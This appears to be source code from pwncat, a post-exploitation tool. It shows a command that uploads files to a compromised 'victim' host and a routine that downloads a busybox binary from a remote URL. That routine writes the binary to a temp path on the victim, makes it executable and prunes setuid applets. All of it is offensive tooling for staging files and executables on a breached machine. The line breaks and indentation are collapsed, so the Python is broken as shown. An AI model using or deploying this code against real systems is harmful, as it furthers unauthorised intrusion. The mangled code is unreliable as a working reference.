def run(self, args): try: length = os.path.getsize(args.source) started = time.time() with open(args.source, "rb") as source: with pwncat.victim.open(args.destination, "wb", length=length) as destination: util.with_progress( [ ("", "uploading "), ("fg:ansigreen", args.source), ("", " to "), ("fg:ansired", args.destination), ], partial(util.copyfileobj, source, destination), length=length, ) elapsed = time.time() - started util.success( f"uploaded {Fore.CYAN}{util.human_readable_size(length)}{Fore.RESET} " f"in {Fore.GREEN}{util.human_readable_delta(elapsed)}{Fore.RESET}" ) except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
def bootstrap_busybox(self, url): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return # Grab the original_content length if provided length = r.headers.get("Content-Length", None) if length is not None: length = int(length) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip() ) # Open the remote file for writing with self.open(busybox_remote_path, "wb", length=length) as filp: # Local function for transferring the original_content def transfer(on_progress): for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) on_progress(len(chunk)) # Run the transfer with a progress bar util.with_progress( f"uploading busybox for {self.arch}", transfer, length, ) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Custom tamper to remove busybox and stop tracking it here self.tamper.custom( ( f"{Fore.RED}installed{Fore.RESET} {Fore.GREEN}busybox{Fore.RESET} " f"to {Fore.CYAN}{busybox_remote_path}{Fore.RESET}" ), self.remove_busybox, ) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] new_provides = [] with self.subprocess( f"{stat} -c %A {' '.join(which_provides)}", "r" ) as pipe: for name, perms in zip(provides, pipe): perms = perms.decode("utf-8").strip().lower() if "no such" in perms: # The remote system doesn't have this binary continue if "s" not in perms: util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox" ) new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox" ) util.success(f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path